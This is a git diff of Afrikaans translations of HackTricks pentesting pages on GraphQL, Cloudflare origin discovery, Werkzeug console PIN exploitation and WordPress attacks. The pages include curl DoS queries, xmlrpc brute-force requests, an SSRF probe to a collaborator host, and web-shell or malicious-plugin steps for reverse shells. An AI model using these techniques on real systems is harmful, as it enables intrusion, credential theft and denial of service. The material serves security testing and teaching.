curl -X POST -H "User-Agent: graphql-cop/1.13" \
|
||||
@ -529,7 +528,7 @@ curl -X POST \
|
||||
-d '{"query": "query cop { __typename @include(if: true) @include(if: true) @include(if: true) @include(if: true) @include(if: true) }", "operationName": "cop"}' \
|
||||
'https://example.com/graphql'
|
||||
```
|
||||
Jy kan ook 'n introspeksievraag stuur om al die verklaarde riglyne te ontdek:
|
||||
Jy kan ook 'n introspeksie-vraag stuur om al die verklaarde riglyne te ontdek:
|
||||
```bash
|
||||
curl -X POST \
|
||||
-H "Content-Type: application/json" \
|
||||
@ -538,9 +537,9 @@ curl -X POST \
|
||||
```
|
||||
En dan **gebruik sommige van die persoonlike** eenhede.
|
||||
|
||||
### **Veld Duplikasie Kw vulnerability**
|
||||
### **Veld Duplikaasievulnerabiliteit**
|
||||
|
||||
**Veld Duplikasie** is 'n kwesbaarheid waar 'n GraphQL-bediener navrae met dieselfde veld wat oormatig herhaal word, toelaat. Dit dwing die bediener om die veld oorbodig op te los vir elke instansie, wat beduidende hulpbronne (CPU, geheue en databasisoproepe) verbruik. 'n Aanvaller kan navrae saamstel met honderde of duisende herhaalde velde, wat 'n hoë las veroorsaak en moontlik kan lei tot 'n **Denial of Service (DoS)**.
|
||||
**Veld Duplikaasie** is 'n kwesbaarheid waar 'n GraphQL-bediener navrae met dieselfde veld wat oormatig herhaal word, toelaat. Dit dwing die bediener om die veld oorbodig op te los vir elke instansie, wat beduidende hulpbronne (CPU, geheue en databasisoproepe) verbruik. 'n Aanvaller kan navrae saamstel met honderde of duisende herhaalde velde, wat 'n hoë las veroorsaak en moontlik kan lei tot 'n **Denial of Service (DoS)**.
|
||||
```bash
|
||||
# Test provided by https://github.com/dolevf/graphql-cop
|
||||
curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \
|
||||
@ -552,7 +551,7 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso
|
||||
### Kwetsbaarheid skandeerders
|
||||
|
||||
- [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): Toets algemene miskonfigurasies van graphql eindpunte
|
||||
- [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): GraphQL sekuriteitsouditering skrif met 'n fokus op die uitvoering van batch GraphQL vrae en mutasies.
|
||||
- [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): GraphQL sekuriteitsoudit skrip met 'n fokus op die uitvoering van batch GraphQL vrae en mutasies.
|
||||
- [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): Vingerafdruk die graphql wat gebruik word
|
||||
- [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Gereedskap wat gebruik kan word om skemas te gryp en sensitiewe data te soek, outorisering te toets, brute force skemas, en paaie na 'n gegewe tipe te vind.
|
||||
- [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Kan as 'n standalone gebruik word of [Burp uitbreiding](https://github.com/doyensec/inql).
|
||||
@ -560,7 +559,7 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso
|
||||
- [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): Gereedskap wat die verskillende maniere lys om **'n gegewe tipe in 'n GraphQL skema te bereik**.
|
||||
- [https://github.com/doyensec/GQLSpection](https://github.com/doyensec/GQLSpection): Die opvolger van Standalone en CLI Modus van InQL
|
||||
- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Burp uitbreiding vir gevorderde GraphQL toetsing. Die _**Scanner**_ is die kern van InQL v5.0, waar jy 'n GraphQL eindpunt of 'n plaaslike introspeksie skema lêer kan analiseer. Dit genereer outomaties al moontlike vrae en mutasies, en organiseer dit in 'n gestruktureerde weergawe vir jou analise. Die _**Attacker**_ komponent laat jou toe om batch GraphQL aanvalle te voer, wat nuttig kan wees om swak geïmplementeerde koerslimiete te omseil.
|
||||
- [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): Probeer om die skema te kry selfs met introspeksie gedeaktiveer deur die hulp van sommige Graphql databasisse wat die name van mutasies en parameters sal voorstel.
|
||||
- [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): Probeer om die skema te kry selfs met introspeksie gedeaktiveer deur die hulp van sommige Graphql databasisse te gebruik wat die name van mutasies en parameters sal voorstel.
|
||||
|
||||
### Kliënte
|
||||
|
||||
@ -569,7 +568,9 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso
|
||||
|
||||
### Outomatiese Toetse
|
||||
|
||||
{% embed url="https://graphql-dashboard.herokuapp.com/" %}
|
||||
{{#ref}}
|
||||
https://graphql-dashboard.herokuapp.com/
|
||||
{{#endref}}
|
||||
|
||||
- Video wat AutoGraphQL verduidelik: [https://www.youtube.com/watch?v=JJmufWfVvyU](https://www.youtube.com/watch?v=JJmufWfVvyU)
|
||||
|
||||
@ -583,5 +584,4 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso
|
||||
- [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696)
|
||||
- [**https://portswigger.net/web-security/graphql**](https://portswigger.net/web-security/graphql)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -4,24 +4,24 @@
|
||||
|
||||
## Algemene Tegnieke om Cloudflare te Ontdek
|
||||
|
||||
- Jy kan 'n diens gebruik wat jou die **historiese DNS rekords** van die domein gee. Miskien loop die webblad op 'n IP adres wat voorheen gebruik is.
|
||||
- Dieselfde kan bereik word deur **historiese SSL sertifikate** te kontroleer wat na die oorspronklike IP adres kan wys.
|
||||
- Kontroleer ook **DNS rekords van ander subdomeine wat direk na IPs wys**, aangesien dit moontlik is dat ander subdomeine na dieselfde bediener wys (miskien om FTP, pos of enige ander diens aan te bied).
|
||||
- As jy 'n **SSRF binne die webtoepassing** vind, kan jy dit misbruik om die IP adres van die bediener te verkry.
|
||||
- Soek 'n unieke string van die webblad in blaaiers soos shodan (en miskien google en soortgelyke?). Miskien kan jy 'n IP adres met daardie inhoud vind.
|
||||
- Op 'n soortgelyke manier, in plaas daarvan om na 'n unieke string te soek, kan jy soek na die favicon ikoon met die hulpmiddel: [https://github.com/karma9874/CloudFlare-IP](https://github.com/karma9874/CloudFlare-IP) of met [https://github.com/pielco11/fav-up](https://github.com/pielco11/fav-up)
|
||||
- Dit sal nie baie gereeld werk nie, omdat die bediener dieselfde antwoord moet stuur wanneer dit deur die IP adres geakkommodeer word, maar jy weet nooit.
|
||||
- Jy kan 'n diens gebruik wat jou die **historiese DNS-rekords** van die domein gee. Miskien loop die webblad op 'n IP-adres wat voorheen gebruik is.
|
||||
- Dieselfde kan bereik word deur **historiese SSL-sertifikate** te kontroleer wat na die oorspronklike IP-adres kan wys.
|
||||
- Kontroleer ook **DNS-rekords van ander subdomeine wat direk na IP's wys**, aangesien dit moontlik is dat ander subdomeine na dieselfde bediener wys (miskien om FTP, pos of enige ander diens aan te bied).
|
||||
- As jy 'n **SSRF binne die webtoepassing** vind, kan jy dit misbruik om die IP-adres van die bediener te verkry.
|
||||
- Soek 'n unieke string van die webblad in blaaiers soos shodan (en miskien google en soortgelyke?). Miskien kan jy 'n IP-adres met daardie inhoud vind.
|
||||
- Op 'n soortgelyke manier, in plaas daarvan om na 'n unieke string te soek, kan jy soek na die favicon-ikoon met die hulpmiddel: [https://github.com/karma9874/CloudFlare-IP](https://github.com/karma9874/CloudFlare-IP) of met [https://github.com/pielco11/fav-up](https://github.com/pielco11/fav-up)
|
||||
- Dit sal nie baie gereeld werk nie, omdat die bediener dieselfde antwoord moet stuur wanneer dit deur die IP-adres toegang verkry, maar jy weet nooit.
|
||||
|
||||
## Hulpmiddels om Cloudflare te Ontdek
|
||||
|
||||
- Soek vir die domein binne [http://www.crimeflare.org:82/cfs.html](http://www.crimeflare.org:82/cfs.html) of [https://crimeflare.herokuapp.com](https://crimeflare.herokuapp.com). Of gebruik die hulpmiddel [CloudPeler](https://github.com/zidansec/CloudPeler) (wat daardie API gebruik)
|
||||
- Soek vir die domein in [https://leaked.site/index.php?resolver/cloudflare.0/](https://leaked.site/index.php?resolver/cloudflare.0/)
|
||||
- [**CloudFlair**](https://github.com/christophetd/CloudFlair) is 'n hulpmiddel wat sal soek met behulp van Censys sertifikate wat die domeinnaam bevat, dan sal dit soek na IPv4s binne daardie sertifikate en uiteindelik sal dit probeer om toegang te verkry tot die webblad in daardie IPs.
|
||||
- [**CloakQuest3r**](https://github.com/spyboy-productions/CloakQuest3r): CloakQuest3r is 'n kragtige Python hulpmiddel wat met sorg ontwerp is om die werklike IP adres van webwerwe wat deur Cloudflare en ander alternatiewe beskerm word, te ontdek, 'n wyd gebruikte websekuriteits- en prestasieverbeteringsdiens. Sy kernmissie is om die werklike IP adres van webbedieners wat agter Cloudflare se beskermende skild versteek is, akkuraat te onderskei.
|
||||
- [**CloudFlair**](https://github.com/christophetd/CloudFlair) is 'n hulpmiddel wat sal soek met behulp van Censys-sertifikate wat die domeinnaam bevat, dan sal dit soek na IPv4's binne daardie sertifikate en uiteindelik sal dit probeer om toegang tot die webblad in daardie IP's te verkry.
|
||||
- [**CloakQuest3r**](https://github.com/spyboy-productions/CloakQuest3r): CloakQuest3r is 'n kragtige Python-hulpmiddel wat met sorg ontwerp is om die werklike IP-adres van webwerwe wat deur Cloudflare en ander alternatiewe beskerm word, te ontdek, 'n wyd gebruikte websekuriteits- en prestasieverbeteringsdiens. Sy kernmissie is om die werklike IP-adres van webbedieners wat agter Cloudflare se beskermende skild versteek is, akkuraat te onderskei.
|
||||
- [Censys](https://search.censys.io/)
|
||||
- [Shodan](https://shodan.io/)
|
||||
- [Bypass-firewalls-by-DNS-history](https://github.com/vincentcox/bypass-firewalls-by-DNS-history)
|
||||
- As jy 'n stel potensiële IPs het waar die webblad geleë is, kan jy [https://github.com/hakluke/hakoriginfinder](https://github.com/hakluke/hakoriginfinder) gebruik.
|
||||
- As jy 'n stel potensiële IP's het waar die webblad geleë is, kan jy [https://github.com/hakluke/hakoriginfinder](https://github.com/hakluke/hakoriginfinder) gebruik.
|
||||
```bash
|
||||
# You can check if the tool is working with
|
||||
prips 1.0.0.0/30 | hakoriginfinder -h one.one.one.one
|
||||
@ -41,7 +41,9 @@ Let daarop dat selfs al is dit vir AWS-masjiene gedoen, dit vir enige ander wolk
|
||||
|
||||
Vir 'n beter beskrywing van hierdie proses, kyk:
|
||||
|
||||
{% embed url="https://trickest.com/blog/cloudflare-bypass-discover-ip-addresses-aws/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
{{#ref}}
|
||||
https://trickest.com/blog/cloudflare-bypass-discover-ip-addresses-aws/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks
|
||||
{{#endref}}
|
||||
```bash
|
||||
# Find open ports
|
||||
sudo masscan --max-rate 10000 -p80,443 $(curl -s https://ip-ranges.amazonaws.com/ip-ranges.json | jq -r '.prefixes[] | select(.service=="EC2") | .ip_prefix' | tr '\n' ' ') | grep "open" > all_open.txt
|
||||
@ -64,7 +66,7 @@ Hierdie mekanisme staat op **klant** [**SSL sertifikate**](https://socradar.io/h
|
||||
In plaas daarvan om sy eie sertifikaat te konfigureer, kan kliënte eenvoudig Cloudflare se sertifikaat gebruik om enige verbinding van Cloudflare toe te laat, **ongeag van die huurder**.
|
||||
|
||||
> [!CAUTION]
|
||||
> Daarom kan 'n aanvaller eenvoudig 'n **domein in Cloudflare instel met Cloudflare se sertifikaat en dit** na die **slagoffer** domein **IP** adres wys. Op hierdie manier, deur sy domein heeltemal onbeskermd in te stel, sal Cloudflare nie die versoeke wat gestuur word beskerm nie.
|
||||
> Daarom kan 'n aanvaller eenvoudig 'n **domein in Cloudflare stel met Cloudflare se sertifikaat en dit** na die **slagoffer** domein **IP** adres wys. Op hierdie manier, deur sy domein heeltemal onbeskermd te stel, sal Cloudflare nie die versoeke wat gestuur word beskerm nie.
|
||||
|
||||
Meer inligting [**hier**](https://socradar.io/cloudflare-protection-bypass-vulnerability-on-threat-actors-radar/).
|
||||
|
||||
@ -120,11 +122,11 @@ Sommige van hulle is:
|
||||
- [Oxylabs](https://oxylabs.go2cloud.org/aff_c?offer_id=7&aff_id=379&url_id=32)
|
||||
- [Smartproxy](https://prf.hn/click/camref:1100loxdG/[p_id:1100l442001]/destination:https%3A%2F%2Fsmartproxy.com%2Fscraping%2Fweb) is bekend vir hul eie Cloudflare omseilingsmeganismes.
|
||||
|
||||
Vir diegene wat 'n geoptimaliseerde oplossing soek, is die [ScrapeOps Proxy Aggregator](https://scrapeops.io/proxy-aggregator/) opvallend. Hierdie diens integreer meer as 20 proxy verskaffers in 'n enkele API, wat outomaties die beste en mees koste-effektiewe proxy vir jou teikendomeine kies, en bied dus 'n beter opsie om Cloudflare se verdediging te navigeer.
|
||||
Vir diegene wat 'n geoptimaliseerde oplossing soek, staan die [ScrapeOps Proxy Aggregator](https://scrapeops.io/proxy-aggregator/) uit. Hierdie diens integreer meer as 20 proxieverskaffers in 'n enkele API, wat outomaties die beste en mees koste-effektiewe proxie vir jou teikendomeine kies, en bied dus 'n beter opsie om Cloudflare se verdediging te navigeer.
|
||||
|
||||
### Omgekeerde Ingenieurswese van Cloudflare Anti-Bot Beskerming <a href="#option-6-reverse-engineer-cloudflare-anti-bot-protection" id="option-6-reverse-engineer-cloudflare-anti-bot-protection"></a>
|
||||
|
||||
Omgekeerde ingenieurswese van Cloudflare se anti-bot maatreëls is 'n taktiek wat deur slim proxie verskaffers gebruik word, geskik vir uitgebreide web scraping sonder die hoë koste van die bestuur van baie hooflose blaaiers.
|
||||
Omgekeerde ingenieurswese van Cloudflare se anti-bot maatreëls is 'n taktiek wat deur slim proxieverskaffers gebruik word, geskik vir uitgebreide web scraping sonder die hoë koste van die bestuur van baie hooflose blaaiers.
|
||||
|
||||
**Voordele:** Hierdie metode stel in staat om 'n uiters doeltreffende omseiling te skep wat spesifiek Cloudflare se kontroles teiken, ideaal vir grootmaat operasies.
|
||||
|
||||
|
@ -2,7 +2,6 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Konsol RCE
|
||||
|
||||
As debug aktief is, kan jy probeer om toegang te verkry tot `/console` en RCE te verkry.
|
||||
@ -15,41 +14,41 @@ Daar is ook verskeie exploits op die internet soos [hierdie](https://github.com/
|
||||
|
||||
## Pin Beskerm - Pad Traversal
|
||||
|
||||
In sommige gevalle gaan die **`/console`** eindpunt beskerm word deur 'n pin. As jy 'n **lêer traversaal kwesbaarheid** het, kan jy al die nodige inligting lek om daardie pin te genereer.
|
||||
In sommige gevalle gaan die **`/console`** eindpunt beskerm word deur 'n pin. As jy 'n **file traversal vulnerability** het, kan jy al die nodige inligting lek om daardie pin te genereer.
|
||||
|
||||
### Werkzeug Console PIN Exploit
|
||||
|
||||
Forceer 'n foutbladsy in die app om dit te sien:
|
||||
Forceer 'n debug foutbladsy in die app om dit te sien:
|
||||
```
|
||||
The console is locked and needs to be unlocked by entering the PIN.
|
||||
You can find the PIN printed out on the standard output of your
|
||||
shell that runs the server
|
||||
```
|
||||
'n Boodskap rakende die "konsole vergrendel" scenario word teëgekom wanneer daar probeer word om toegang te verkry tot Werkzeug se foutopsporing koppelvlak, wat 'n vereiste vir 'n PIN aandui om die konsole te ontgrendel. Die voorstel word gemaak om die konsole PIN te benut deur die PIN generasie algoritme in Werkzeug se foutopsporing inisialiseringslêer (`__init__.py`) te analiseer. Die PIN generasie meganisme kan bestudeer word vanaf die [**Werkzeug bronkode-bewaarplek**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/__init__.py), alhoewel dit aanbeveel word om die werklike bediener kode te verkry via 'n lêer traversering kwesbaarheid weens moontlike weergawe verskille.
|
||||
'n Boodskap rakende die "konsole vergrendel" scenario word aangetref wanneer daar probeer word om toegang te verkry tot Werkzeug se foutopsporing koppelvlak, wat 'n vereiste vir 'n PIN aandui om die konsole te ontgrendel. Die voorstel word gemaak om die konsole PIN te benut deur die PIN generasie-algoritme in Werkzeug se foutopsporing inisialiseringslêer (`__init__.py`) te analiseer. Die PIN generasie-meganisme kan bestudeer word vanaf die [**Werkzeug bronkode-bewaarplek**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/__init__.py), alhoewel dit aanbeveel word om die werklike bediener kode te verkry via 'n lêer traversering kwesbaarheid weens moontlike weergawe verskille.
|
||||
|
||||
Om die konsole PIN te benut, is twee stelle van veranderlikes, `probably_public_bits` en `private_bits`, nodig:
|
||||
|
||||
#### **`probably_public_bits`**
|
||||
|
||||
- **`username`**: Verwys na die gebruiker wat die Flask sessie begin het.
|
||||
- **`username`**: Verwys na die gebruiker wat die Flask-sessie begin het.
|
||||
- **`modname`**: Gewoonlik aangewys as `flask.app`.
|
||||
- **`getattr(app, '__name__', getattr(app.__class__, '__name__'))`**: Oor die algemeen los dit op na **Flask**.
|
||||
- **`getattr(mod, '__file__', None)`**: Verteenwoordig die volle pad na `app.py` binne die Flask gids (bv. `/usr/local/lib/python3.5/dist-packages/flask/app.py`). As `app.py` nie van toepassing is nie, **probeer `app.pyc`**.
|
||||
- **`getattr(mod, '__file__', None)`**: Verteenwoordig die volle pad na `app.py` binne die Flask-gids (bv. `/usr/local/lib/python3.5/dist-packages/flask/app.py`). As `app.py` nie van toepassing is nie, **probeer `app.pyc`**.
|
||||
|
||||
#### **`private_bits`**
|
||||
|
||||
- **`uuid.getnode()`**: Verkry die MAC adres van die huidige masjien, met `str(uuid.getnode())` wat dit in 'n desimale formaat vertaal.
|
||||
- **`uuid.getnode()`**: Verkry die MAC-adres van die huidige masjien, met `str(uuid.getnode())` wat dit in 'n desimale formaat vertaal.
|
||||
|
||||
- Om **die bediener se MAC adres te bepaal**, moet een die aktiewe netwerk interfase wat deur die app gebruik word, identifiseer (bv. `ens3`). In gevalle van onsekerheid, **lek `/proc/net/arp`** om die toestel ID te vind, dan **onttrek die MAC adres** van **`/sys/class/net/<device id>/address`**.
|
||||
- Om 'n hexadesimale MAC adres na desimaal om te skakel kan soos hieronder gedoen word:
|
||||
- Om **die bediener se MAC-adres te bepaal**, moet 'n mens die aktiewe netwerk koppelvlak wat deur die app gebruik word, identifiseer (bv. `ens3`). In gevalle van onsekerheid, **lek `/proc/net/arp`** om die toestel-ID te vind, dan **onttrek die MAC-adres** van **`/sys/class/net/<device id>/address`**.
|
||||
- Om 'n hexadesimale MAC-adres na desimaal om te skakel, kan dit soos hieronder gedoen word:
|
||||
|
||||
```python
|
||||
# Voorbeeld MAC adres: 56:00:02:7a:23:ac
|
||||
# Voorbeeld MAC-adres: 56:00:02:7a:23:ac
|
||||
>>> print(0x5600027a23ac)
|
||||
94558041547692
|
||||
```
|
||||
|
||||
- **`get_machine_id()`**: Kombineer data van `/etc/machine-id` of `/proc/sys/kernel/random/boot_id` met die eerste lyn van `/proc/self/cgroup` na die laaste skuinsstreep (`/`).
|
||||
- **`get_machine_id()`**: Voeg data van `/etc/machine-id` of `/proc/sys/kernel/random/boot_id` saam met die eerste lyn van `/proc/self/cgroup` na die laaste skuinsstreep (`/`).
|
||||
|
||||
<details>
|
||||
|
||||
@ -154,7 +153,9 @@ Dit is omdat dit in Werkzeug moontlik is om sommige **Unicode** karakters te stu
|
||||
|
||||
## Geoutomatiseerde Exploitatie
|
||||
|
||||
{% embed url="https://github.com/Ruulian/wconsole_extractor" %}
|
||||
{{#ref}}
|
||||
https://github.com/Ruulian/wconsole_extractor
|
||||
{{#endref}}
|
||||
|
||||
## Verwysings
|
||||
|
||||
@ -163,5 +164,4 @@ Dit is omdat dit in Werkzeug moontlik is om sommige **Unicode** karakters te stu
|
||||
- [**https://github.com/pallets/werkzeug/issues/2833**](https://github.com/pallets/werkzeug/issues/2833)
|
||||
- [**https://mizu.re/post/twisty-python**](https://mizu.re/post/twisty-python)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -35,7 +35,7 @@
|
||||
### Gebruikers Toestemmings
|
||||
|
||||
- **Administrateur**
|
||||
- **Redakteur**: Publiseer en bestuur sy en ander se plasings
|
||||
- **Redakteur**: Publiseer en bestuur sy en ander plasings
|
||||
- **Skrywer**: Publiseer en bestuur sy eie plasings
|
||||
- **Bydraer**: Skryf en bestuur sy plasings maar kan dit nie publiseer nie
|
||||
- **Tekenaar**: Blader deur plasings en wysig hul profiel
|
||||
@ -46,7 +46,7 @@
|
||||
|
||||
Kontroleer of jy die lêers `/license.txt` of `/readme.html` kan vind
|
||||
|
||||
Binne die **bronskode** van die bladsy (voorbeeld van [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
|
||||
Binne die **bronne kode** van die bladsy (voorbeeld van [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
|
||||
|
||||
- grep
|
||||
```bash
|
||||
@ -120,9 +120,9 @@ Om te sien of dit aktief is, probeer om toegang te verkry tot _**/xmlrpc.php**_
|
||||
```
|
||||

|
||||
|
||||
**Kredensiaal Bruteforce**
|
||||
**Geloofsbriewe Bruteforce**
|
||||
|
||||
**`wp.getUserBlogs`**, **`wp.getCategories`** of **`metaWeblog.getUsersBlogs`** is sommige van die metodes wat gebruik kan word om kredensiale te brute-force. As jy enige van hulle kan vind, kan jy iets soos stuur:
|
||||
**`wp.getUserBlogs`**, **`wp.getCategories`** of **`metaWeblog.getUsersBlogs`** is sommige van die metodes wat gebruik kan word om geloofsbriewe te brute-force. As jy enige van hulle kan vind, kan jy iets soos stuur:
|
||||
```markup
|
||||
<methodCall>
|
||||
<methodName>wp.getUsersBlogs</methodName>
|
||||
@ -174,7 +174,7 @@ Daar is ook 'n **sneller manier** om akrediteer te brute-force met **`system.mul
|
||||
|
||||
**Om 2FA te omseil**
|
||||
|
||||
Hierdie metode is bedoel vir programme en nie vir mense nie, en is oud, daarom ondersteun dit nie 2FA nie. So, as jy geldige akrediteer het maar die hoofingang is beskerm deur 2FA, **kan jy dalk xmlrpc.php misbruik om in te log met daardie akrediteer terwyl jy 2FA omseil**. Let daarop dat jy nie al die aksies wat jy deur die konsole kan doen, kan uitvoer nie, maar jy mag steeds in staat wees om RCE te verkry soos Ippsec dit verduidelik in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
|
||||
Hierdie metode is bedoel vir programme en nie vir mense nie, en is oud, daarom ondersteun dit nie 2FA nie. As jy geldige akrediteer het, maar die hoofingang is beskerm deur 2FA, **kan jy dalk xmlrpc.php misbruik om met daardie akrediteer in te log en 2FA te omseil**. Let daarop dat jy nie al die aksies wat jy deur die konsole kan doen, kan uitvoer nie, maar jy mag steeds in staat wees om RCE te verkry soos Ippsec dit verduidelik in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
|
||||
|
||||
**DDoS of poort skandering**
|
||||
|
||||
@ -211,13 +211,13 @@ Kyk na die gebruik van **`system.multicall`** in die vorige afdeling om te leer
|
||||
|
||||
Hierdie lêer bestaan gewoonlik onder die wortel van die Wordpress-webwerf: **`/wp-cron.php`**\
|
||||
Wanneer hierdie lêer **geaccess** word, word 'n "**zware**" MySQL **query** uitgevoer, so dit kan deur **aanvallers** gebruik word om 'n **DoS** te **veroorsaak**.\
|
||||
Ook, standaard, word die `wp-cron.php` op elke bladsy-laai (wanneer 'n kliënt enige Wordpress-bladsy versoek), wat op hoë-verkeer webwerwe probleme kan veroorsaak (DoS).
|
||||
Ook, standaard, word die `wp-cron.php` op elke bladsy-laai (wanneer 'n kliënt enige Wordpress-bladsy versoek) aangeroep, wat op hoë-verkeer webwerwe probleme kan veroorsaak (DoS).
|
||||
|
||||
Dit word aanbeveel om Wp-Cron te deaktiveer en 'n werklike cronjob binne die gasheer te skep wat die nodige aksies op 'n gereelde interval uitvoer (sonder om probleme te veroorsaak).
|
||||
|
||||
### /wp-json/oembed/1.0/proxy - SSRF
|
||||
|
||||
Probeer om _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ te access en die Wordpress-webwerf mag 'n versoek na jou maak.
|
||||
Probeer om _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ te access en die Wordpress-webwerf mag 'n versoek aan jou maak.
|
||||
|
||||
Dit is die antwoord wanneer dit nie werk nie:
|
||||
|
||||
@ -225,9 +225,11 @@ Dit is die antwoord wanneer dit nie werk nie:
|
||||
|
||||
## SSRF
|
||||
|
||||
{% embed url="https://github.com/t0gu/quickpress/blob/master/core/requests.go" %}
|
||||
{{#ref}}
|
||||
https://github.com/t0gu/quickpress/blob/master/core/requests.go
|
||||
{{#endref}}
|
||||
|
||||
Hierdie hulpmiddel kontroleer of die **methodName: pingback.ping** en vir die pad **/wp-json/oembed/1.0/proxy** bestaan, en as dit bestaan, probeer dit om dit te exploiteer.
|
||||
Hierdie hulpmiddel kontroleer of die **methodName: pingback.ping** bestaan en vir die pad **/wp-json/oembed/1.0/proxy** en as dit bestaan, probeer dit om dit te exploiteer.
|
||||
|
||||
## Outomatiese Hulpmiddels
|
||||
```bash
|
||||
@ -237,7 +239,7 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec
|
||||
```
|
||||
## Kry toegang deur 'n bietjie te oorskryf
|
||||
|
||||
Meer as 'n werklike aanval is dit 'n nuuskierigheid. IN die CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) kon jy 1 bietjie van enige wordpress-lêer omdraai. So jy kon die posisie `5389` van die lêer `/var/www/html/wp-includes/user.php` omdraai om die NOT (`!`) operasie te NOP.
|
||||
Meer as 'n werklike aanval is dit 'n nuuskierigheid. IN die CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) kon jy 1 bietjie van enige wordpress-lêer omflip. So kon jy die posisie `5389` van die lêer `/var/www/html/wp-includes/user.php` omflip om die NOT (`!`) operasie te NOP.
|
||||
```php
|
||||
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
|
||||
return new WP_Error(
|
||||
@ -252,7 +254,7 @@ Verander die inhoud na 'n php shell:
|
||||
|
||||
.png>)
|
||||
|
||||
Soek op die internet hoe jy toegang kan kry tot daardie opgedateerde bladsy. In hierdie geval moet jy hier toegang verkry: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
Soek op die internet hoe jy toegang kan kry tot daardie opgedateerde bladsy. In hierdie geval moet jy hier toegang kry: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
### MSF
|
||||
|
||||
@ -283,7 +285,7 @@ Klik op Procced:
|
||||
|
||||
.png>)
|
||||
|
||||
Waarskynlik sal dit niks doen nie, maar as jy na Media gaan, sal jy jou shell opgelaai sien:
|
||||
Waarskynlik sal dit niks blykbaar doen nie, maar as jy na Media gaan, sal jy jou shell opgelaai sien:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -293,7 +295,7 @@ Toegang daartoe en jy sal die URL sien om die omgekeerde shell uit te voer:
|
||||
|
||||
### Uploading and activating malicious plugin
|
||||
|
||||
Hierdie metode behels die installasie van 'n kwaadwillige plugin wat bekend is om kwesbaar te wees en wat benut kan word om 'n web shell te verkry. Hierdie proses word deur die WordPress-dashboard uitgevoer soos volg:
|
||||
Hierdie metode behels die installasie van 'n kwaadwillige plugin wat bekend is om kwesbaar te wees en kan benut word om 'n web shell te verkry. Hierdie proses word deur die WordPress-dashboard uitgevoer soos volg:
|
||||
|
||||
1. **Plugin Verkryging**: Die plugin word verkry van 'n bron soos Exploit DB soos [**hier**](https://www.exploit-db.com/exploits/36374).
|
||||
2. **Plugin Installasie**:
|
||||
@ -302,7 +304,7 @@ Hierdie metode behels die installasie van 'n kwaadwillige plugin wat bekend is o
|
||||
3. **Plugin Aktivering**: Sodra die plugin suksesvol geïnstalleer is, moet dit deur die dashboard geaktiveer word.
|
||||
4. **Eksploitering**:
|
||||
- Met die plugin "reflex-gallery" geïnstalleer en geaktiveer, kan dit benut word aangesien dit bekend is om kwesbaar te wees.
|
||||
- Die Metasploit-raamwerk bied 'n eksploit vir hierdie kwesbaarheid. Deur die toepaslike module te laai en spesifieke opdragte uit te voer, kan 'n meterpreter-sessie gevestig word, wat ongeoorloofde toegang tot die webwerf bied.
|
||||
- Die Metasploit-raamwerk bied 'n eksploit vir hierdie kwesbaarheid. Deur die toepaslike module te laai en spesifieke opdragte uit te voer, kan 'n meterpreter-sessie gevestig word, wat ongeoorloofde toegang tot die webwerf verleen.
|
||||
- Dit word opgemerk dat dit net een van die vele metodes is om 'n WordPress-webwerf te exploiteer.
|
||||
|
||||
